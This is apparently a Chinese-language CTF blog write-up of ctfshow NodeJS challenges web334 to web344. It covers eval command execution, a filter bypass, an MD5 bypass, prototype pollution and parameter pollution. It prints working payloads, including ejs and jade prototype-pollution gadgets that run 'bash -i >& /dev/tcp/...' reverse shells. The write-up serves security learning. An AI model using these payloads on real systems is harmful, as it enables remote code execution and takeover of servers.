web334-web344NodeJS篇
web334-web344NodeJS篇
Natro92题前准备
简单了解下node.js,我对他的了解就是写过一点点的electron,然后就是老用npm来补网易云的一些插件XD。
语言特性了解:
https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/
后面几个重量级的暂时先学会利用,等语言熟悉了再跟着复现。
web334
文件读取,rce拼接bypass
下载并解压相关代码:
1 | module.exports = { |
尝试登录:
注意不要抄大写!登录之后就有flag了。
1 | return users.find(function(item){ |
web335
传入之后发现是eval函数。传入1之后返回了1 。
这里找一找nodejs的危险函数:
child_process:http://nodejs.cn/api/child_process.htmlchild_process.exec(command[, options][, callback])
命令执行:
1 | require('child_process').execSync('ls'); |
payload:?eval=require('child_process').execSync('tac fl00*');
web336
加了过滤,过滤exec
。
传入__filename
读取文件位置,其他相关的变量:
- __filename - 当前 eval 代码运行的文件名
- __dirname - 当前 eval 代码运行的文件夹路径
- __line - 当前 eval 代码运行的行号
- __column - 当前 eval 代码运行的列号
当然知道位置了,就可以读取文件了:
1 | require('fs').readFileSync('/app/routes/index.js','utf-8') |
jsbeautify一下方便阅读,发现过滤了exec和load两个关键字符
1 | var express = require('express'); |
看了payload是通过拼接来达成运行的。
1 | require("child_process")['exe'%2b'cSync']('cat flag.txt') |
web337
源码:
1 | var express = require('express'); |
js中有比较抽象的绕过md5方法:
1 | a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag) |
a[x]=1&b[x]=2,数组会被解析为[object Object]
测试比如:
1 | a={'x':'1'} |
输出如下:
1 | [object Object]flag{xxx} |
web338
原型链污染
建议直接看上面的链接文章。讲的太好了,适合我这种菜狗。
这里就提一段代码:
1 | function merge(target, source) { |
这段代码基本就可以介绍原型链相关内容。
比如说这道题的:
1 | var secert = {}; |
这里的secret就可以被原型链污染,具体在下面的utils/commons
位置导致污染。
1 | function copy(object1, object2){ |
这里达到了覆盖的效果。
我们传入payload测试一下:
1 | {"__proto__":{"ctfshow":"36dboy"}} |
注意,传入包的格式应该是:application/json
但是这里我不知道为什么传入路由是/login
而不是/
web339
1 | /* GET home page. */ |
if(secert.ctfshow===flag){
这里已经没办法实现了
那就只能找别的地方了。
api.js中新增的内容:
1 | /* GET home page. */ |
这其中的query也是可以被操控的,比如:
用一下payload:
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/XXX/8888 0>&1\"')"}} |
先/login那里污染一下发包,然后再post访问一下/api即可。
loginPOST传入之后,再访问就成功弹shell。
flag文件在routes下login.js中
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
非预期
非预期的原因就是这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}} |
web340
这段核心代码是:
1 | this.userinfo = new function(){ |
这里new了一个匿名函数并赋值给userinfo。this.userinfo的__proto__属性指向的是那个匿名函数的prototype属性:
1 | this.userinfo.__proto__ === function(){}.prototype |
匿名函数的prototype属性又继承自Object.prototype:
1 | function(){}.prototype.__proto__ === Object.prototype |
因此:
1 | this.userinfo.__proto__ -> function(){}.prototype -> Object.prototype |
因此需要套两层才能污染原型链。
payload:
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}} |
污染+利用
web341
ejs原型链污染
payload:
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}} |
其中的_tmp1和tmp2是为了闭合代码。
还是先在login中post污染,然后访问/就可以接到shell。flag在根目录。
**web342-web343
https://xz.aliyun.com/t/7025
https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/#0x02-jade
https://tari.moe/p/2021/ctfshow-nodejs#fee3a3930b854ee8b473db3cf3747056
jade
改用jade了,哈哈这wp我都看不懂,太抽象了。
省流一下,payload:
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}} |
还是login污染,根目录激活。
web344
HPP数据污染
1 | router.get('/', function(req, res, next) { |
?query={"name":"admin","password":"ctfshow","isVIP":true}
逗号会被过滤。url
node.js处理的特点和JSON.parse,另外一个点就是req.url是经过url编码的、
但是%2c中的2c也被过滤掉了。
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的。
nodejs处理传入数组时,不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析。
也即是如下payload:
1 | ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |
这里把c进行url编码,是因为双引号的url编码是 %22,和c连接起来就是 %22c,会匹配到正则表达式。
(这里始终没理解,有2c的话不就直接寄了吗?怎么能传进去。)
传入解析
1 | Web服务器 参数获取函数 获取到的参数 |